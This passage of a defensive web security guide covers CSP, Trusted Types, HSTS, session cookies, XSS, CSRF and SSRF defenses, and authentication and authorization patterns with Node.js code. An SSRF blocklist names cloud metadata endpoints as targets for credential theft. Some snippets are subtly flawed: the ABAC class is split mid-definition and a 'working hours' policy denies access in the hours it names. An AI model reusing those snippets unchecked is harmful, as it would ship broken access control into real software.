| ---- | ---------------------------------- | ----------------------------------------------------- |
| A06  | Insecure Design                    | Threat modeling during design phase                   |
| A07  | Authentication Failures            | MFA, rate limiting, secure session management         |
| A08  | Software/Data Integrity Failures   | Signed artifacts, CI/CD pipeline security             |
| A09  | Logging & Alerting Failures        | Centralized logging, real-time alerting, audit trails |
| A10  | Mishandling Exceptional Conditions | Fail-secure defaults, structured error handling       |

## Security Headers

HTTP security headers instruct browsers to enforce security policies. They operate at the protocol level, providing defense-in-depth against entire vulnerability classes.

### Content Security Policy (CSP)

**Specification**: W3C CSP Level 3 (Working Draft, June 2025)

CSP restricts resource origins, blocking XSS and data exfiltration by preventing unauthorized script execution.

**Why domain allowlists fail**: If `script-src` includes `cdn.example.com` and that CDN is compromised, attackers serve malicious scripts from the allowlisted domain. Google research found that 94.72% of CSP policies could be bypassed due to allowlist-based configurations.

**Nonce-based CSP** (modern approach):

```
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-R4nd0mN0nc3' 'strict-dynamic';
  style-src 'self' 'nonce-R4nd0mN0nc3';
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none';
  report-to csp-endpoint
```

**How nonces work**:

1. Server generates cryptographically random nonce per response
2. Nonce included in CSP header and legitimate `<script>` tags
3. Browser executes only scripts with matching nonces
4. `'strict-dynamic'` propagates trust to dynamically loaded scripts

```javascript collapse={1-3}
import crypto from "crypto"

function generateCSP(req, res, next) {
  const nonce = crypto.randomBytes(16).toString("base64")
  res.locals.nonce = nonce

  res.setHeader(
    "Content-Security-Policy",
    `
    default-src 'self';
    script-src 'self' 'nonce-${nonce}' 'strict-dynamic';
    style-src 'self' 'nonce-${nonce}';
    object-src 'none';
    base-uri 'self';
    frame-ancestors 'none';
  `
      .replace(/\s+/g, " ")
      .trim(),
  )

  next()
}
```

**HTML with nonce**:

```html
<script nonce="R4nd0mN0nc3">
  // This script executes
</script>
<script>
  // This script blocked - no matching nonce
</script>
```

### Trusted Types

**Specification**: W3C Trusted Types (integrated with CSP)

Trusted Types prevent DOM-based XSS by requiring type-safe objects for dangerous DOM sinks like `innerHTML`.

**Browser support**: Chrome 83+, Edge 83+. Firefox and Safari require polyfills.

**Enforcement**:

```
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types myPolicy
```

```javascript
// Create a policy that sanitizes HTML
const policy = trustedTypes.createPolicy("myPolicy", {
  createHTML: (input) => DOMPurify.sanitize(input),
  createScript: (input) => {
    throw new Error("Scripts not allowed")
  },
  createScriptURL: (input) => {
    const url = new URL(input, location.origin)
    if (url.origin !== location.origin) {
      throw new Error("Cross-origin scripts not allowed")
    }
    return url.toString()
  },
})

// Usage - raw strings rejected, TrustedHTML required
element.innerHTML = policy.createHTML(userInput)
```

**Design reasoning**: Trusted Types shift XSS prevention from "hope developers remember to sanitize" to "browser rejects unsanitized input." Google reports 60% reduction in DOM XSS after deployment.

### HTTP Strict Transport Security (HSTS)

**Specification**: RFC 6797

HSTS instructs browsers to only connect via HTTPS, preventing protocol downgrade attacks.

```
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
```

| Directive           | Purpose                                        |
| ------------------- | ---------------------------------------------- |
| `max-age`           | Policy duration in seconds (31536000 = 1 year) |
| `includeSubDomains` | Applies to all subdomains                      |
| `preload`           | Eligible for browser preload lists             |

**HSTS preload**: Browsers ship with hardcoded lists of HSTS-enabled domains. First-visit protection—users never make insecure requests to preloaded sites.

**Gotcha**: Once preloaded, removal takes months. Ensure all subdomains support HTTPS before enabling `includeSubDomains`.

### Other Essential Headers

```
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
```

| Header                         | Mitigates                                       |
| ------------------------------ | ----------------------------------------------- |
| `X-Content-Type-Options`       | MIME-sniffing attacks                           |
| `X-Frame-Options`              | Clickjacking (legacy; prefer `frame-ancestors`) |
| `Referrer-Policy`              | URL leakage to third parties                    |
| `Permissions-Policy`           | Feature abuse (camera, microphone)              |
| `Cross-Origin-Opener-Policy`   | Spectre-style side-channel attacks              |
| `Cross-Origin-Embedder-Policy` | Cross-origin resource leaks                     |

## Authentication and Session Security

### WebAuthn (Passkeys)

**Specification**: W3C WebAuthn Level 3 (Candidate Recommendation, January 2026)

WebAuthn enables passwordless authentication using public-key cryptography. The private key never leaves the authenticator device.

**Registration flow**:

```javascript collapse={1-5}
// Client-side registration
async function registerPasskey(userId, userName) {
  const challenge = await fetch("/api/webauthn/challenge").then((r) => r.json())

  const credential = await navigator.credentials.create({
    publicKey: {
      challenge: Uint8Array.from(challenge.value, (c) => c.charCodeAt(0)),
      rp: { name: "Example Corp", id: "example.com" },
      user: {
        id: Uint8Array.from(userId, (c) => c.charCodeAt(0)),
        name: userName,
        displayName: userName,
      },
      pubKeyCredParams: [
        { alg: -7, type: "public-key" }, // ES256
        { alg: -257, type: "public-key" }, // RS256
      ],
      authenticatorSelection: {
        authenticatorAttachment: "platform",
        userVerification: "required",
        residentKey: "required", // Discoverable credential for passkeys
      },
      timeout: 60000,
    },
  })

  await fetch("/api/webauthn/register", {
    method: "POST",
    body: JSON.stringify({
      id: credential.id,
      rawId: btoa(String.fromCharCode(...new Uint8Array(credential.rawId))),
      response: {
        clientDataJSON: btoa(String.fromCharCode(...new Uint8Array(credential.response.clientDataJSON))),
        attestationObject: btoa(String.fromCharCode(...new Uint8Array(credential.response.attestationObject))),
      },
    }),
  })
}
```

**Why passkeys over passwords**: Phishing-resistant by design. The authenticator verifies the relying party's origin—users cannot accidentally authenticate to attacker-controlled sites. No shared secrets to steal from server databases.

### Secure Session Management

**Cookie configuration**:

```javascript
const sessionOptions = {
  name: "__Host-session", // __Host- prefix enforces Secure + no Domain
  secret: process.env.SESSION_SECRET,
  cookie: {
    httpOnly: true, // Inaccessible to JavaScript
    secure: true, // HTTPS only
    sameSite: "strict", // No cross-site requests
    maxAge: 15 * 60 * 1000, // 15 minutes
    path: "/",
  },
  resave: false,
  saveUninitialized: false,
}
```

**SameSite attribute** (RFC 6265bis):

| Value    | Behavior                                               |
| -------- | ------------------------------------------------------ |
| `Strict` | Cookie sent only in first-party context                |
| `Lax`    | Sent with same-site requests and top-level navigations |
| `None`   | Sent in all contexts (requires `Secure`)               |

> **Default behavior change**: Modern browsers treat cookies without `SameSite` as `Lax` by default. Explicit `SameSite=None; Secure` required for legitimate cross-site use cases.

### Token Storage Security

| Method               | XSS Risk | CSRF Risk | Recommendation                 |
| -------------------- | -------- | --------- | ------------------------------ |
| `localStorage`       | High     | None      | Never for auth tokens          |
| `sessionStorage`     | High     | None      | Never for auth tokens          |
| HttpOnly cookie      | None     | Mitigated | Preferred with SameSite=Strict |
| Memory (JS variable) | Medium   | None      | Short-lived tokens only        |

**Design reasoning**: HttpOnly cookies are inaccessible to JavaScript, eliminating XSS-based token theft. `SameSite=Strict` prevents CSRF by blocking cross-origin requests from including the cookie.

## Attack Vectors and Defenses

### Cross-Site Scripting (XSS)

XSS injects malicious scripts into web pages, executing in victims' browser contexts.

**Types**:

| Type      | Vector                    | Persistence | Detection             |
| --------- | ------------------------- | ----------- | --------------------- |
| Stored    | Database → rendered page  | Permanent   | Server-side scanning  |
| Reflected | URL parameter → response  | None        | WAF, input validation |
| DOM-based | Client-side JS → DOM sink | None        | Trusted Types, CSP    |

**DOM XSS defense with Trusted Types**:

```javascript
// Without Trusted Types - vulnerable
document.getElementById("output").innerHTML = userInput

// With Trusted Types - safe
const policy = trustedTypes.createPolicy("sanitizer", {
  createHTML: (input) => DOMPurify.sanitize(input),
})
document.getElementById("output").innerHTML = policy.createHTML(userInput)
```

### Cross-Site Request Forgery (CSRF)

CSRF tricks authenticated users into performing unintended actions.

**Defense layers**:

1. **SameSite cookies**: Prevents cross-origin cookie inclusion
2. **CSRF tokens**: Synchronizer token pattern for state-changing requests
3. **Origin/Referer validation**: Verify request source

```javascript collapse={1-4}
import csrf from "csurf"

const csrfProtection = csrf({ cookie: { sameSite: "strict", httpOnly: true } })

app.get("/form", csrfProtection, (req, res) => {
  res.render("form", { csrfToken: req.csrfToken() })
})

app.post("/transfer", csrfProtection, (req, res) => {
  // Token automatically validated by middleware
  processTransfer(req.body)
})
```

### Server-Side Request Forgery (SSRF)

SSRF induces servers to make requests to unintended destinations, often internal networks or cloud metadata services.

**High-value targets**:

- `169.254.169.254` - AWS/GCP metadata (credentials, tokens)
- `localhost:6379` - Redis
- `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` - Internal networks

**Defense**:

```javascript collapse={1-3}
import { URL } from "url"
import dns from "dns/promises"

const BLOCKED_HOSTS = new Set(["169.254.169.254", "metadata.google.internal", "localhost", "127.0.0.1"])

const PRIVATE_RANGES = [
  { start: 0x0a000000, end: 0x0affffff }, // 10.0.0.0/8
  { start: 0xac100000, end: 0xac1fffff }, // 172.16.0.0/12
  { start: 0xc0a80000, end: 0xc0a8ffff }, // 192.168.0.0/16
]

async function isAllowedUrl(urlString) {
  const url = new URL(urlString)

  // Protocol check
  if (!["http:", "https:"].includes(url.protocol)) return false

  // Hostname blocklist
  if (BLOCKED_HOSTS.has(url.hostname)) return false

  // DNS resolution to catch rebinding
  const addresses = await dns.resolve4(url.hostname)
  for (const addr of addresses) {
    const ip = addr.split(".").reduce((acc, oct) => (acc << 8) + parseInt(oct), 0)
    if (PRIVATE_RANGES.some((r) => ip >= r.start && ip <= r.end)) {
      return false
    }
  }

  return true
}
```

## Security by Rendering Strategy

Rendering strategy determines attack surface and appropriate defenses.

### Server-Side Rendering (SSR)

**Attack surface**: Template injection, SSRF, session fixation, CSRF

**Key defenses**:

- Automatic template escaping
- CSRF tokens for state changes
- Session regeneration on authentication
- Request origin validation

### Static Site Generation (SSG)

**Attack surface**: Build-time supply chain, DOM XSS in client JS, cached vulnerabilities

**Key defenses**:

- Dependency scanning in CI/CD
- SRI for external resources
- Hash-based CSP (stable content allows pre-computed hashes)
- Immutable deployments

### Client-Side Rendering (CSR)

**Attack surface**: DOM XSS, token leakage, open redirects

**Key defenses**:

- Trusted Types
- HttpOnly cookie tokens
- Strict CSP with nonces
- Client-side input validation (defense in depth, not primary)

## Conclusion

Security architecture prioritizes controls that eliminate vulnerability classes over those that patch individual instances. Nonce-based CSP eliminates entire categories of XSS. Argon2id eliminates password cracking as a practical attack vector. HttpOnly cookies eliminate JavaScript-based token theft.

The OWASP Top 10:2025 reflects this shift—Broken Access Control remains #1 not because it's technically sophisticated, but because it requires consistent enforcement across every endpoint. The solution is architectural: centralized authorization middleware, not scattered inline checks.

Defense in depth assumes every layer will fail. Design accordingly.

## Appendix

### Prerequisites

- HTTP protocol fundamentals (headers, methods, status codes)
- Basic cryptography concepts (symmetric vs asymmetric, hashing)
- JavaScript/Node.js familiarity
- Web application architecture (client-server model)

### Terminology

- **CSP**: Content Security Policy—browser-enforced resource loading restrictions
- **CSRF**: Cross-Site Request Forgery—attacks that trick users into unintended actions
- **HSTS**: HTTP Strict Transport Security—forces HTTPS connections
- **IDOR**: Insecure Direct Object Reference—unauthorized resource access via ID manipulation
- **OWASP**: Open Worldwide Application Security Project
- **SRI**: Subresource Integrity—cryptographic verification of external resources
- **SSRF**: Server-Side Request Forgery—inducing servers to make unintended requests
- **XSS**: Cross-Site Scripting—malicious script injection
- **WAF**: Web Application Firewall—HTTP traffic filtering

### Summary

- OWASP Top 10:2025 prioritizes Broken Access Control (#1) and introduces Supply Chain Failures (#3) and Mishandling Exceptional Conditions (#10)
- CSP Level 3 shifts from domain allowlists to nonce-based validation for XSS prevention
- Argon2id replaces bcrypt as the recommended password hashing algorithm
- WebAuthn Level 3 enables phishing-resistant passwordless authentication
- SameSite cookies default to `Lax`, mitigating CSRF by default
- Trusted Types prevent DOM XSS by requiring type-safe DOM operations
- Defense in depth: layer controls so single failures don't compromise systems

### References

**Specifications**

- [OWASP Top 10:2025](https://owasp.org/Top10/2025/) - Current web application security risks
- [W3C Content Security Policy Level 3](https://www.w3.org/TR/CSP3/) - CSP specification (Working Draft, June 2025)
- [W3C WebAuthn Level 3](https://www.w3.org/TR/webauthn-3/) - Web Authentication API (Candidate Recommendation, January 2026)
- [RFC 6797 - HTTP Strict Transport Security](https://datatracker.ietf.org/doc/html/rfc6797) - HSTS specification
- [RFC 6265bis - Cookies](https://datatracker.ietf.org/doc/draft-ietf-httpbis-rfc6265bis/) - HTTP State Management (includes SameSite)

**Official Documentation**

- [OWASP Password Storage Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html) - Password hashing recommendations
- [OWASP CSP Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html) - CSP implementation guidance
- [MDN Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) - CSP documentation
- [MDN Trusted Types API](https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API) - Trusted Types documentation
- [web.dev Trusted Types](https://web.dev/articles/trusted-types) - DOM XSS prevention guide

**Tools**

- [Security Headers](https://securityheaders.com/) - Header analysis
- [Mozilla Observatory](https://observatory.mozilla.org/) - Web security scanning
- [SSL Labs Server Test](https://www.ssllabs.com/ssltest/) - TLS configuration analysis

---

## Authentication Foundations: Sessions, Tokens, and Trust

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/web-foundations/web-security-auth/auth-foundations-sessions-tokens
**Category:** Web Foundations / Security & Auth
**Description:** An in-depth technical analysis of AAA frameworks for expert practitioners, exploring modern authentication mechanisms, authorization models, access control paradigms, and their implementation patterns with Node.js examples.

# Authentication Foundations: Sessions, Tokens, and Trust

An in-depth technical analysis of AAA frameworks for expert practitioners, exploring modern authentication mechanisms, authorization models, access control paradigms, and their implementation patterns with Node.js examples.

<figure>

![AAA (Authentication, Authorization, Accounting) framework with authentication methods and authorization models](./aaa-authentication-authorization-accounting-framework-with-authentication-method.svg)

<figcaption>AAA (Authentication, Authorization, Accounting) framework with authentication methods and authorization models</figcaption>

</figure>

## Abstract

**Mental model**: Authentication establishes _who you are_; authorization determines _what you can do_; accounting records _what you did_. The core tension in auth systems is **security vs. usability vs. operational complexity**—every design choice trades between these.

![Diagram](./diagram-1.svg)

### Core Design Trade-offs

| Decision           | Option A                 | Option B                | When to Choose A                         |
| ------------------ | ------------------------ | ----------------------- | ---------------------------------------- |
| **State**          | Sessions (server stores) | Tokens (self-contained) | Need immediate revocation, single domain |
| **Credential**     | Password + MFA           | Passwordless (WebAuthn) | Legacy systems, recovery requirements    |
| **Authorization**  | RBAC (role-based)        | ABAC (attribute-based)  | Permission model is relatively static    |
| **Token lifetime** | Short (5-15 min)         | Long (1+ hour)          | High-security APIs, sensitive operations |
| **Storage**        | HttpOnly cookies         | Memory + refresh token  | Traditional web apps without CORS needs  |

### Key Invariants

- **Tokens cannot be truly revoked** without infrastructure (blocklist or short expiry + refresh rotation)
- **Sessions scale vertically**; tokens scale horizontally
- **Passwords are phishable**; WebAuthn is origin-bound and phishing-resistant
- **RBAC is simple but rigid**; ABAC is flexible but operationally complex

## Core Concepts and Definitions

### Authentication vs Authorization vs Access Control

**Authentication** is the process of verifying the identity of a user, device, or system to ensure they are who they claim to be. It answers the question "Who are you?" and involves validating credentials such as passwords, biometric data, or cryptographic tokens.

**Authorization** determines what an authenticated entity is permitted to access or what actions they can perform within a system. It answers the question "What are you allowed to do?" and occurs after successful authentication.

**Access Control** encompasses the broader framework that combines authentication and authorization policies to enforce security decisions. It includes the mechanisms, policies, and technologies used to manage and control access to resources.

### The AAA Framework

The AAA framework extends beyond basic authentication and authorization:

- **Authentication**: Identity verification
- **Authorization**: Permission enforcement
- **Accounting/Auditing**: Activity logging and monitoring

This framework ensures comprehensive security coverage from initial identity verification through ongoing activity monitoring.

---

## Session vs Token Architecture

The fundamental architectural decision in authentication is whether to store session state server-side or encode it in client-held tokens.

### Design Rationale

**Sessions** emerged from traditional server-rendered applications where the server controlled the entire request lifecycle. The server maintains a session store (in-memory, Redis, database), generates an opaque session ID, and sets it in a cookie. Each request includes the cookie; the server looks up associated state.

**Tokens** (particularly JWTs) emerged with the rise of SPAs (Single-Page Applications), mobile apps, and microservices. The token contains all necessary claims (user ID, roles, expiration), cryptographically signed by the issuer. Validation requires only the public key—no database lookup.

### Trade-off Matrix

| Aspect                     | Sessions                      | Tokens                                   |
| -------------------------- | ----------------------------- | ---------------------------------------- |
| **State location**         | Server                        | Client                                   |
| **Revocation**             | Immediate (delete session)    | Difficult (wait for expiry or blocklist) |
| **Scalability**            | Requires shared session store | Stateless, scales horizontally           |
| **Cross-domain**           | Cookie scope limitations      | CORS-friendly (Bearer header)            |
| **Token size**             | Small (opaque ID)             | Large (encoded claims)                   |
| **Security on compromise** | Attacker needs session ID     | Attacker has all claims until expiry     |
| **Database dependency**    | Every request                 | None for validation                      |

### When to Choose Sessions

1. **Immediate revocation required**: Logout must instantly invalidate access (financial, healthcare)
2. **Single-domain application**: No CORS complexity
3. **Sensitive data**: Minimize client-side exposure of claims
4. **Existing infrastructure**: Session stores already in place

### When to Choose Tokens

1. **Microservices**: Services validate tokens independently without coordination
2. **Mobile apps**: No cookie support; tokens in secure storage (Keychain/Keystore)
3. **Third-party API access**: OAuth flows with external consumers
4. **Horizontal scaling**: No shared session store required

### Hybrid Approach (Recommended for Web SPAs)

Modern best practice combines both:

- **Access token**: Short-lived (5-15 min), stored in memory (React state/context)
- **Refresh token**: Long-lived, stored in HttpOnly Secure SameSite=Strict cookie

Memory storage protects against XSS (no JavaScript access to tokens on disk); HttpOnly cookies protect refresh tokens from script access while enabling silent renewal.

---

## Authentication Mechanisms

### Password-Based Authentication

Traditional username/password authentication remains prevalent despite inherent vulnerabilities. Modern implementations require secure password storage using memory-hard hashing functions.

#### Password Hashing: Argon2id vs Bcrypt

**Argon2id** (winner of the 2015 Password Hashing Competition) is the current OWASP recommendation for new systems. It resists both GPU attacks (via memory hardness) and side-channel attacks (via the "id" variant combining Argon2i and Argon2d).

> **Prior to 2015:** Bcrypt was the recommended standard. Systems using bcrypt remain secure but should plan migration to Argon2id for new implementations.

**OWASP recommended parameters (as of 2025):**

| Algorithm                  | Configuration                              | Target                            |
| -------------------------- | ------------------------------------------ | --------------------------------- |
| **Argon2id**               | 19 MiB memory, 2 iterations, parallelism 1 | Primary recommendation            |
| **Argon2id (high memory)** | 46 MiB memory, 1 iteration, parallelism 1  | When resources allow              |
| **Bcrypt**                 | Cost factor 10+ (12 recommended)           | Legacy systems, FIPS not required |
| **PBKDF2-HMAC-SHA256**     | 600,000+ iterations                        | FIPS-140 compliance required      |

**Tuning principle**: Hash computation should take under 1 second to avoid DoS vulnerabilities from repeated auth attempts.

```javascript title="password-manager.js" collapse={1-2, 26-33}
const bcrypt = require("bcrypt")

class PasswordManager {
  constructor() {
    this.saltRounds = 12 // OWASP minimum as of 2025; adjust based on hardware
  }

  async hashPassword(plainPassword) {
    try {
      const salt = await bcrypt.genSalt(this.saltRounds)
      const hashedPassword = await bcrypt.hash(plainPassword, salt)
      return hashedPassword
    } catch (error) {
      throw new Error("Password hashing failed")
    }
  }

  async verifyPassword(plainPassword, hashedPassword) {
    try {
      return await bcrypt.compare(plainPassword, hashedPassword)
    } catch (error) {
      throw new Error("Password verification failed")
    }
  }
}

// Usage example
const passwordManager = new PasswordManager()

// During registration
const hashedPassword = await passwordManager.hashPassword("userPassword123")

// During login
const isValid = await passwordManager.verifyPassword("userPassword123", hashedPassword)
```

**Bcrypt limitation**: Maximum 72 bytes input. For longer passwords, pre-hash with HMAC-SHA384 and Base64 encode before bcrypt.

### Multi-Factor Authentication (MFA)

MFA implementations leverage multiple authentication factors categorized into:

1. **Something You Know** (Knowledge): Passwords, PINs, security questions
2. **Something You Have** (Possession): Hardware tokens, mobile devices, smart cards
3. **Something You Are** (Inherence): Biometric traits like fingerprints, facial recognition

#### Time-based One-Time Password (TOTP) Implementation

TOTP generates time-based codes using a shared secret and current timestamp. The `window` parameter allows for clock drift between client and server ([RFC 6238](https://datatracker.ietf.org/doc/html/rfc6238)).

```javascript title="totp-manager.js" collapse={1-3, 33-58}
const speakeasy = require("speakeasy")
const QRCode = require("qrcode")

class TOTPManager {
  generateSecret(userEmail, serviceName) {
    return speakeasy.generateSecret({
      name: userEmail,
      issuer: serviceName,
      length: 32,
    })
  }

  async generateQRCode(secret) {
    const otpauthURL = speakeasy.otpauthURL({
      secret: secret.ascii,
      label: secret.name,
      issuer: secret.issuer,
      algorithm: "sha1",
    })

    return await QRCode.toDataURL(otpauthURL)
  }

  verifyTOTP(token, secret) {
    return speakeasy.totp.verify({
      secret: secret,
      encoding: "ascii",
      token: token,
      window: 2, // Allow 2-step tolerance for clock drift
    })
  }
}

// Usage in Express middleware
const totpManager = new TOTPManager()

app.post("/enable-mfa", async (req, res) => {
  const { userId } = req.body
  const secret = totpManager.generateSecret(req.user.email, "YourServiceName")

  // Store secret in database associated with user
  await User.updateOne({ _id: userId }, { totpSecret: secret.base32, mfaEnabled: false })

  const qrCode = await totpManager.generateQRCode(secret)
  res.json({ qrCode, secret: secret.base32 })
})

app.post("/verify-mfa", async (req, res) => {
  const { token } = req.body
  const user = await User.findById(req.user.id)

  const verified = totpManager.verifyTOTP(token, user.totpSecret)

  if (verified) {
    await User.updateOne({ _id: req.user.id }, { mfaEnabled: true })
    res.json({ success: true })
  } else {
    res.status(400).json({ error: "Invalid token" })
  }
})
```

### WebAuthn and Passkeys

WebAuthn (Web Authentication API) uses asymmetric cryptography—the private key never leaves the authenticator, and credentials are origin-bound, making them phishing-resistant.

> **WebAuthn Level 3 (W3C Candidate Recommendation, January 2026)** adds credential backup state signaling, cross-origin authentication, supplemental public keys, and client capability discovery.

#### Passkey Syncing (Multi-Device Credentials)

Traditional WebAuthn credentials were bound to a single device. **Passkeys** (synced credentials) enable cross-device availability:

| Provider      | Sync Scope                               | Mechanism                               |
| ------------- | ---------------------------------------- | --------------------------------------- |
| **Apple**     | Apple devices only                       | iCloud Keychain (E2E encrypted)         |
| **Google**    | Android, Chrome (all platforms), iOS 17+ | Google Password Manager (E2E encrypted) |
| **Microsoft** | Windows, Android                         | Microsoft account                       |

**Critical limitation**: Apple and Google do not sync passkeys between their ecosystems. Google currently offers the broadest cross-platform sync (Android + Apple + Windows via Chrome).

**Design rationale for origin binding**: The credential's `rpId` (Relying Party ID) is bound to the origin. If a user is phished to `evil-bank.com`, the credential registered for `bank.com` cannot be used—the authenticator refuses to sign a challenge for a different origin.

```javascript title="webauthn-manager.js" collapse={1-2, 35-52}
// Client-side WebAuthn registration
class WebAuthnManager {
  async registerCredential(userInfo) {
    try {
      // Get challenge from server
      const challengeResponse = await fetch("/webauthn/register/begin", {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({ username: userInfo.username }),
      })

      const challenge = await challengeResponse.json()

      // Create credential - origin-bound, preventing phishing attacks
      const credential = await navigator.credentials.create({
        publicKey: {
          challenge: new Uint8Array(challenge.challenge),
          rp: { name: "Your Service" },
          user: {
            id: new TextEncoder().encode(userInfo.username),
            name: userInfo.username,
            displayName: userInfo.displayName,
          },
          pubKeyCredParams: [{ alg: -7, type: "public-key" }], // ES256
          authenticatorSelection: {
            authenticatorAttachment: "platform",
            userVerification: "required",
          },
        },
      })

      return credential
    } catch (error) {
      console.error("WebAuthn registration failed:", error)
      throw error
    }
  }

  // Send credential to server for storage
  async completeRegistration(credential) {
    const registrationResponse = await fetch("/webauthn/register/finish", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({
        id: credential.id,
        rawId: Array.from(new Uint8Array(credential.rawId)),
        response: {
          clientDataJSON: Array.from(new Uint8Array(credential.response.clientDataJSON)),
          attestationObject: Array.from(new Uint8Array(credential.response.attestationObject)),
        },
      }),
    })
    return await registrationResponse.json()
  }
}
```

---

## Authorization Models and Frameworks

### Role-Based Access Control (RBAC)

RBAC assigns permissions to roles rather than individual users, simplifying permission management in large organizations.

**Design rationale**: RBAC emerged from the observation that permission requirements correlate with job functions, not individuals. By mapping users → roles → permissions, administration scales with organizational structure rather than user count ([NIST RBAC Model](https://csrc.nist.gov/projects/role-based-access-control)).

**When RBAC works well**:

- Permission model maps to organizational hierarchy
- Roles are relatively stable
- Audit requirements focus on role membership

**When RBAC struggles**:

- Dynamic permissions based on resource attributes (e.g., "own documents only")
- Context-dependent access (time of day, location)
- Fine-grained permissions that would require role explosion

```javascript title="rbac-manager.js" collapse={1-6, 56-77}
class RBACManager {
  constructor() {
    this.roles = new Map()
    this.userRoles = new Map()
    this.permissions = new Map()
  }

  defineRole(roleName, permissions = []) {
    this.roles.set(roleName, new Set(permissions))
    return this
  }

  assignRoleToUser(userId, roleName) {
    if (!this.userRoles.has(userId)) {
      this.userRoles.set(userId, new Set())
    }
    this.userRoles.get(userId).add(roleName)
    return this
  }

  getUserPermissions(userId) {
    const userRoles = this.userRoles.get(userId) || new Set()
    const permissions = new Set()

    for (const role of userRoles) {
      const rolePermissions = this.roles.get(role) || new Set()
      for (const permission of rolePermissions) {
        permissions.add(permission)
      }
    }

    return permissions
  }

  hasPermission(userId, requiredPermission) {
    const userPermissions = this.getUserPermissions(userId)
    return userPermissions.has(requiredPermission)
  }

  middleware(requiredPermission) {
    return (req, res, next) => {
      const userId = req.user?.id

      if (!userId) {
        return res.status(401).json({ error: "Authentication required" })
      }

      if (!this.hasPermission(userId, requiredPermission)) {
        return res.status(403).json({ error: "Insufficient permissions" })
      }

      next()
    }
  }
}

// Usage example
const rbac = new RBACManager()

// Define roles and permissions
rbac
  .defineRole("admin", ["user:create", "user:read", "user:update", "user:delete"])
  .defineRole("moderator", ["user:read", "user:update"])
  .defineRole("user", ["user:read"])

// Assign roles to users
rbac.assignRoleToUser("user123", "admin").assignRoleToUser("user456", "moderator")

// Use in Express routes
app.get("/admin/users", rbac.middleware("user:read"), (req, res) => {
  // Handle admin user listing
})

app.delete("/admin/users/:id", rbac.middleware("user:delete"), (req, res) => {
  // Handle user deletion
})
```

### Attribute-Based Access Control (ABAC)

ABAC provides fine-grained access control using attributes of users, resources, and environmental factors.

**Design rationale**: ABAC addresses RBAC's rigidity by evaluating policies against dynamic attributes at decision time. Instead of pre-assigning permissions, ABAC asks: "Given these subject attributes, resource attributes, action, and environment, should this request be permitted?" ([NIST ABAC Guide SP 800-162](https://csrc.nist.gov/publications/detail/sp/800-162/final)).

**Attribute categories**:

- **Subject**: User ID, role, department, clearance level, group membership
- **Resource**: Type, owner, classification, sensitivity
- **Action**: Read, write, delete, approve
- **Environment**: Time, location, device trust, network

```javascript title="abac-engine.js" collapse={1-4, 42-66, 72-97}
class ABACPolicyEngine {
  constructor() {
    this.policies = []
  }

  addPolicy(policy) {
    this.policies.push(policy)
    return this
  }

  evaluate(subject, resource, action, environment = {}) {
    for (const policy of this.policies) {
      const result = this.evaluatePolicy(policy, subject, resource, action, environment)
      if (result === "PERMIT") return true
      if (result === "DENY") return false
    }
    return false // Default deny - fail closed
  }

  evaluatePolicy(policy, subject, resource, action, environment) {
    try {
      const context = {
        subject,
        resource,
        action,
        environment,
        time: new Date(),
        hasAttribute: (obj, attr) => obj && obj[attr] !== undefined,
        inRange: (value, min, max) => value >= min && value <= max,
      }

      return policy.condition(context) ? policy.effect : "NOT_APPLICABLE"
    } catch (error) {
      console.error("Policy evaluation error:", error)
      return "DENY" // Fail closed on error
    }
  }

  // ... middleware implementation
}

  middleware() {
    return (req, res, next) => {
      const subject = {
        id: req.user?.id,
        role: req.user?.role,
        department: req.user?.department,
        clearanceLevel: req.user?.clearanceLevel,
      }

      const resource = {
        type: req.route?.path,
        owner: req.params?.userId,
        classification: req.body?.classification,
      }

      const action = req.method.toLowerCase()

      const environment = {
        ipAddress: req.ip,
        time: new Date(),
        userAgent: req.get("User-Agent"),
      }

      if (this.evaluate(subject, resource, action, environment)) {
        next()
      } else {
        res.status(403).json({ error: "Access denied by policy" })
      }
    }
  }

// Usage example - policy definitions
const abac = new ABACPolicyEngine()

abac.addPolicy({
  name: "AdminFullAccess",
  condition: ({ subject }) => subject.role === "admin",
  effect: "PERMIT",
})

abac.addPolicy({
  name: "UserSelfAccess",
  condition: ({ subject, resource, action }) =>
    subject.role === "user" && resource.owner === subject.id && ["get", "put"].includes(action),
  effect: "PERMIT",
})

abac.addPolicy({
  name: "WorkingHoursOnly",
  condition: ({ environment }) => {
    const hour = environment.time.getHours()
    return hour >= 9 && hour <= 17
  },
  effect: "DENY",
})

app.use("/api/sensitive", abac.middleware())
```

---

## Formal Access Control Models

These models provide mathematical foundations for reasoning about security properties. While rarely implemented directly, they inform the design of practical systems.

### Bell-LaPadula Model (Confidentiality)

**Design rationale**: Developed in 1973 for the US Department of Defense to prevent information leakage from higher classification levels to lower ones. Optimizes for _confidentiality_ at the expense of integrity.

**Core rules**:

- **No Read Up (Simple Security)**: A subject cannot read data at a higher classification level
- **No Write Down (Star Property)**: A subject cannot write data to a lower classification level

**Why "no write down"**: Prevents a high-clearance user from copying classified data to an unclassified location. Also prevents Trojan horses from leaking data by writing to lower levels.

**Limitation**: Ignores integrity. A low-clearance user can write to a high-classification document, potentially corrupting it.

### Biba Integrity Model

**Design rationale**: Developed in 1977 as the "dual" of Bell-LaPadula, optimizing for _integrity_ instead of confidentiality. Prevents corruption of high-integrity data by lower-integrity sources.

**Core rules** (inverted from Bell-LaPadula):

- **No Read Down**: A subject cannot read data at a lower integrity level (prevents contamination)
- **No Write Up**: A subject cannot write data to a higher integrity level (prevents corruption)

**Why this matters**: A financial system shouldn't allow unverified external data to modify audited records. A privileged process shouldn't read from untrusted sources.

